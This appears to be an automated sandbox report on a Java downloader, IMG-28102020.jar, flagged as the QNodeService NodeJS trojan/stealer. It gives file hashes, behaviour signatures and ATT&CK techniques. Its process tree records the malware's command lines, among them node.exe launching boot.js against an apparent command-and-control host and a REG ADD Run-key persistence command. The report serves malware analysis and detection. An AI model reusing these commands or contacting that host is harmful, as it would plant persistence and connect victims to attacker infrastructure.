Analysis

  • max time kernel
    116s
  • max time network
    125s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    28-10-2020 14:01

General

  • Target

    IMG-28102020.jar

  • Size

    72KB

  • MD5

    887b166acc924514a275abbdb1676014

  • SHA1

    b43f7a56b97b635c72628bdde9be1cbc7b5ebd20

  • SHA256

    49331c9f6559832d639324a3ad70ab151d30bd712ff78f8a9cdf3e731f5dcf77

  • SHA512

    8f796e0f3e482afe0d591e4657b640ec715d536c1c71fff9430b9f240490a79bc81cba1521462f23abef76e0a793f7e3e9eca9053fc06b7c8163d54422d61dd3

Malware Config

Signatures

  • QNodeService

    Trojan/stealer written in NodeJS and spread via Java downloader.

  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • JavaScript code in executable 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\ProgramData\Oracle\Java\javapath\java.exe
    java -jar C:\Users\Admin\AppData\Local\Temp\IMG-28102020.jar
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3884
    • C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
      "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\9dae3bfe.tmp
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3480
      • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain severdops.ddns.net
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:1624
        • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
          C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_uTaAjv\boot.js --hub-domain severdops.ddns.net
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:3476
          • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
            C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_uTaAjv\boot.js --hub-domain severdops.ddns.net
            5⤵
            • Executes dropped EXE
            • Checks processor information in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:576
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "0289f365-56f9-4fbd-9865-86fe743a7a47" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:744
              • C:\Windows\system32\reg.exe
                REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "0289f365-56f9-4fbd-9865-86fe743a7a47" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
                7⤵
                • Adds Run key to start application
                PID:3936

Network

MITRE ATT&CK Matrix ATT&CK v6

Persistence

Registry Run Keys / Startup Folder

1
T1060

Defense Evasion

Modify Registry

1
T1112

Discovery

Query Registry

1
T1012

System Information Discovery

1
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\.oracle_jre_usage\90737d32e3aba4b.timestamp
    MD5

    e643cad80fb7cd2abdaa81fdfaad60ec

    SHA1

    b838739c464cc02c60750dd8debc46cd7de6c3b0

    SHA256

    85c7677508e24fc09201349922b74643dee4d0ca7593646d95904d551b761cb7

    SHA512

    5f554272cbde7c5af477e2f26d632e0c09b557425775d882876a5db6323c4f402d5c9a563b5a19925b6082e3346ff6e0f8693920ceb4199d638a858fcf7ecf0f

  • C:\Users\Admin\AppData\Local\Temp\9dae3bfe.tmp
    MD5

    887b166acc924514a275abbdb1676014

    SHA1

    b43f7a56b97b635c72628bdde9be1cbc7b5ebd20

    SHA256

    49331c9f6559832d639324a3ad70ab151d30bd712ff78f8a9cdf3e731f5dcf77

    SHA512

    8f796e0f3e482afe0d591e4657b640ec715d536c1c71fff9430b9f240490a79bc81cba1521462f23abef76e0a793f7e3e9eca9053fc06b7c8163d54422d61dd3

  • C:\Users\Admin\AppData\Local\Temp\_qhub_node_uTaAjv\boot.js
    MD5

    3859487feb5152e9d1afc4f8cd320608

    SHA1

    7bf154c9ddf3a71abf15906cdb60773e8ae07b62

    SHA256

    8d19e156776805eb800ad47f85ff36b99b8283b721ebab3d47a16e2ae597fe13

    SHA512

    826a1b3cd08e4652744a975153448288dd31073f60471729b948d7668df8e510fa7b0c6dcd63636043850364bf3cd30c1053349d42d08f8ec7c4a0655188fab8

  • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    MD5

    f0b11a5823c45fc2664e116dc0323bcb

    SHA1

    612339040c1f927ec62186cd5012f4bb9c53c1b9

    SHA256

    16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

    SHA512

    0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

  • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    MD5

    f0b11a5823c45fc2664e116dc0323bcb

    SHA1

    612339040c1f927ec62186cd5012f4bb9c53c1b9

    SHA256

    16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

    SHA512

    0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

  • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    MD5

    f0b11a5823c45fc2664e116dc0323bcb

    SHA1

    612339040c1f927ec62186cd5012f4bb9c53c1b9

    SHA256

    16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

    SHA512

    0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

  • memory/576-182-0x0000000000000000-mapping.dmp
  • memory/576-184-0x00000294C35C0000-0x00000294C35C1000-memory.dmp
    Filesize

    4KB

  • memory/744-185-0x0000000000000000-mapping.dmp
  • memory/1624-169-0x0000000000000000-mapping.dmp
  • memory/1624-172-0x000003B0E9200000-0x000003B0E9201000-memory.dmp
    Filesize

    4KB

  • memory/3476-178-0x0000000000000000-mapping.dmp
  • memory/3476-180-0x000001FA75C80000-0x000001FA75C81000-memory.dmp
    Filesize

    4KB

  • memory/3480-51-0x0000000000000000-mapping.dmp
  • memory/3936-186-0x0000000000000000-mapping.dmp